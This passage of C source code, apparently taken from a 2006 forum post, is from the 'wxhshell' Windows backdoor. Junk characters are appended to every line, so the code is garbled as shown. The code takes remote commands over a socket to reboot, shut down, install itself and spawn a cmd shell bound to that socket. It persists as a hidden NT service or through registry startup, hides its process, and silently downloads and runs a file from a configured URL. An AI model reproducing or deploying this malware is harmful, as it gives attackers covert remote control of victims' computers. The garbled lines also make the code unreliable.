      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); IA`voO$  
    break; 8TP$?8l  
  } )=~&l={T  
  // 安装 NpH8=H9  
  case 'i': { 7S{qo&j'  
    if(Install()) .#yg=t1C  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); EsGu#lD2  
    else O@Aazc5K  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9z#8K zXg  
    break; #%E`~&[  
    } *E/Bfp1LIe  
  // 卸载 [9">}l  
  case 'r': { LIID(s!bX  
    if(Uninstall())  ~71U s  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ; JkSZs3  
    else Ce}`z L  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8 Rj5~+5  
    break; ^@^8iZ  
    } =*\.zr  
  // 显示 wxhshell 所在路径 xOTvrX  
  case 'p': { r{ R-X3s  
    char svExeFile[MAX_PATH]; P~\rP6 ;  
    strcpy(svExeFile,"\n\r"); MRLiiIrq,5  
      strcat(svExeFile,ExeFile); B"GC|}N )v  
        send(wsh,svExeFile,strlen(svExeFile),0); ;"MChk  
    break; +dCDk* /m  
    } 0/Q_% :  
  // 重启 \jC) ;mk  
  case 'b': { wp?:@XM  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); kd'b_D[$H  
    if(Boot(REBOOT)) xk,Uf,,>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); x4q}xwH  
    else { v}$Q   
    closesocket(wsh); layxtECP(  
    ExitThread(0); q}@L"a`  
    } hZ45i?%  
    break; |A3"Jc.2o  
    } IBT>&(cnV  
  // 关机 9<Pg2#*N0  
  case 'd': { qf0pi&q  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); oXG_6E!^  
    if(Boot(SHUTDOWN)) [\ao#f0WR  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); UXct+l  
    else { .\XRkr'-  
    closesocket(wsh); ]K(a32VCH  
    ExitThread(0); Ub3$`  
    } lM\dK)p21O  
    break; WESD^FK  
    } bsQ'kBD  
  // 获取shell NljpkeX'  
  case 's': { (ks>F=vk*  
    CmdShell(wsh); 5sY $  
    closesocket(wsh); ]KFh 1  
    ExitThread(0); [5P-K{Ko  
    break; hY4#4A`I  
  } wC{sP"D  
  // 退出 H:(B^uH  
  case 'x': { M1Q&)am  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); |P5dv>tb F  
    CloseIt(wsh); Oa/^A-'Q  
    break; *Dg@fxCQ  
    } Wg}KQ6 6  
  // 离开 >|SIqB<%:  
  case 'q': { -m`|Sq  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Km5_P##  
    closesocket(wsh); Gld~GyB\k  
    WSACleanup(); H9T~7e+  
    exit(1); _A,_RM$Y  
    break; ( >}1t!1  
        } \:m~ +o$<-  
  } c^W;p2^  
  } q-z1ElrN7u  
&y_t,8>5  
  // 提示信息 ?\\wLZ  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 8-G )lyfj  
} 2* g2UP  
  } =Z+^n ?"  
2O kID WcM  
  return; !~E/Rp  
} IOFXkpK R  
V6merT79  
// shell模块句柄 ci;2XLAM  
int CmdShell(SOCKET sock) mP^B2"|q  
{ #eJfwc1JY  
STARTUPINFO si; ?xaUWD  
ZeroMemory(&si,sizeof(si)); 6m&GN4Ca  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; kQ=bd{a6  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 6/;YS[jX  
PROCESS_INFORMATION ProcessInfo; +C`!4v\n  
char cmdline[]="cmd"; 1EV bGe%b  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); nFni1cCD  
  return 0; &eV5#Ph  
} ^JY {<   
!{l% 3'2  
// 自身启动模式 ?c8~VQaQ  
int StartFromService(void) _f!ko<52  
{ I!/EQO|  
typedef struct %E%=Za  
{ .w4|$.H  
  DWORD ExitStatus; z_'^=9m  
  DWORD PebBaseAddress; n~lB}  
  DWORD AffinityMask; _h1bVd-  
  DWORD BasePriority; Sj ovL@X  
  ULONG UniqueProcessId; @JSWqi>  
  ULONG InheritedFromUniqueProcessId; ( %7V  
}   PROCESS_BASIC_INFORMATION; ?h`,@~6u  
>9w^C1"  
PROCNTQSIP NtQueryInformationProcess; 0s`6d;  
o*$KiD  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; V_ 6K?~j  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 1XN%&VR>^D  
Gm- "?4(  
  HANDLE             hProcess; w^L`"  
  PROCESS_BASIC_INFORMATION pbi; pqg2#@F.  
=)bOteWM  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Ls2OnL9  
  if(NULL == hInst ) return 0; @6ckB (  
)nHMXZ>Td  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); lZwjrU| _  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); C 9%bD  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 7Ydqg&  
N)(m^M(~0  
  if (!NtQueryInformationProcess) return 0; p7+{xXf  
1 k!gR  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); /%m?D o  
  if(!hProcess) return 0; O[Z$~  
1<9d[N*  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; K14.!m  
:/6:&7s  
  CloseHandle(hProcess); bN?*p($/  
L@MCB-@V  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); lsV>sW4]Z  
if(hProcess==NULL) return 0; Gh_5$@ hF  
t_^cqEr  
HMODULE hMod; _ (b4|hJ'  
char procName[255]; Wda?$3!^q  
unsigned long cbNeeded; @%g:'^/  
_Nh])p-  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); oxFd@WV5  
 e$  
  CloseHandle(hProcess); >%"TrAt  
eZ) |m  
if(strstr(procName,"services")) return 1; // 以服务启动 CMC p7- v  
GGHMpQ   
  return 0; // 注册表启动 |%4nU#GoB  
} h(2{+Y+  
TFbc@rfB  
// 主模块 n}NUe`E_h  
int StartWxhshell(LPSTR lpCmdLine) tqA-X[^  
{ oItC;T  
  SOCKET wsl; R?:K\  
BOOL val=TRUE; V,ZRX}O  
  int port=0; heF'7ezv#  
  struct sockaddr_in door; -0(+a$P7e  
2;:]Q.g  
  if(wscfg.ws_autoins) Install(); K{y`Sb~k  
i_L u  
port=atoi(lpCmdLine); GF9iK|i/  
(O ;R~Io  
if(port<=0) port=wscfg.ws_port; Q]/g=Nn ^~  
P,S!Z&!  
  WSADATA data; #5;4O{  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; gd3MP^O1  
/ pe.?Zd  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   `iuQ.I  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 3 } $9./+  
  door.sin_family = AF_INET; M|{KQ3q:9  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); TbMlYf]It  
  door.sin_port = htons(port); +SV!QMIg  
"`K73M,c?9  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ;|rFP  
closesocket(wsl); s/?(G L+Ae  
return 1; x=JZ"|TE  
} aS3-A 4  
1b=\l/2  
  if(listen(wsl,2) == INVALID_SOCKET) { <c`,fd8  
closesocket(wsl); _z^&zuO  
return 1; ^CwS'/fdN  
}  Z1H  
  Wxhshell(wsl); =w7k@[Bq  
  WSACleanup(); >taT V_,  
yj,+7[)  
return 0; v]drDVJ   
yaj1nq! *"  
} w2"]%WS%  
A}!D&s&UH  
// 以NT服务方式启动 i/N68  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) H_JT"~_2  
{ +],2smd@N  
DWORD   status = 0; ~}YgZ/U7T  
  DWORD   specificError = 0xfffffff; "(F:'J} X  
qB3& F pgW  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Y$q--JA  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; K<ldl.  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 0J)VEMC  
  serviceStatus.dwWin32ExitCode     = 0; P`hg*"<V  
  serviceStatus.dwServiceSpecificExitCode = 0; $I@. <J*  
  serviceStatus.dwCheckPoint       = 0; x@@k_'~t%  
  serviceStatus.dwWaitHint       = 0; e]jzFm~  
BGB.SN#q+  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); RV5;EM)~[  
  if (hServiceStatusHandle==0) return; P>6wr\9i[  
> m9ge`!9  
status = GetLastError(); 6mrfkYK  
  if (status!=NO_ERROR) )N ^g0 L  
{ tIX|oWC$q  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; =WOYZ7  
    serviceStatus.dwCheckPoint       = 0; ,J-YfL^x6*  
    serviceStatus.dwWaitHint       = 0; cRPy5['E  
    serviceStatus.dwWin32ExitCode     = status; j|% C?N  
    serviceStatus.dwServiceSpecificExitCode = specificError; D2Kh+~l  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); C"}]PW  
    return; 'UCF2 L  
  } )vur$RX  
wmv/ ?g  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Vzrp9&loY  
  serviceStatus.dwCheckPoint       = 0; vn5]+-I  
  serviceStatus.dwWaitHint       = 0; ! F&{I  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); d 7QWK(d  
} n;dp%SD  
iGeuO[ ^  
// 处理NT服务事件,比如:启动、停止 F[|aDj@q e  
VOID WINAPI NTServiceHandler(DWORD fdwControl) |w^nCsv  
{ 0w l31k{  
switch(fdwControl) v/Ei0}e6~  
{ !U+XIr  
case SERVICE_CONTROL_STOP: {,m W7  
  serviceStatus.dwWin32ExitCode = 0; QXT *O  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; EEp,Z`  
  serviceStatus.dwCheckPoint   = 0; ~_L_un.R  
  serviceStatus.dwWaitHint     = 0; G5x%:,n  
  { {wf e!f  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); zw X 1&rN  
  } w0t||qj^>"  
  return; 4THGHS^  
case SERVICE_CONTROL_PAUSE: ;lo!o9`<  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; [318Q%W&  
  break; ,}#l0 BY  
case SERVICE_CONTROL_CONTINUE: PT`gAUCw  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; l7JY`x  
  break; V-iY2YiR  
case SERVICE_CONTROL_INTERROGATE: {@[z-)N7\,  
  break; E^jb#9\R  
}; [<{+tAdn)  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); cz9T,  
} 1~q|%"J  
}" 'l8t0?  
// 标准应用程序主函数 tm}0kWx  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) P\H$*6v(  
{ VSt)~  
fL&bN[XA"$  
// 获取操作系统版本 d1>Nn!m  
OsIsNt=GetOsVer(); jkIgEF2d*  
GetModuleFileName(NULL,ExeFile,MAX_PATH); +lqX;*a=N  
;/Dp  
  // 从命令行安装 :>g*!hpb  
  if(strpbrk(lpCmdLine,"iI")) Install(); DPZG_{3D  
B[O1^jdO  
  // 下载执行文件 ) >SU J^u  
if(wscfg.ws_downexe) { {)0"?$C_H  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) !_gHIJiq}  
  WinExec(wscfg.ws_filenam,SW_HIDE); ZjXpMx,  
} 3v%V\kO=F  
cA4xx^~  
if(!OsIsNt) { 7].FdjT.  
// 如果时win9x,隐藏进程并且设置为注册表启动 _6 |lw&o07  
HideProc(); }A%Sx!7~  
StartWxhshell(lpCmdLine); *G#W],~0  
} ~O}LAzGb  
else v [ 4J0  
  if(StartFromService()) @nS+!t{  
  // 以服务方式启动  + >oA@z  
  StartServiceCtrlDispatcher(DispatchTable); 7,2bR  
else Ie~#k[X  
  // 普通方式启动 0"L_0 t:  
  StartWxhshell(lpCmdLine); #}W^d^-5t5  
=X11x)]F9  
return 0; Rs cU=oaKi  
}
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只看该作者 1 发表于: 2006-10-10
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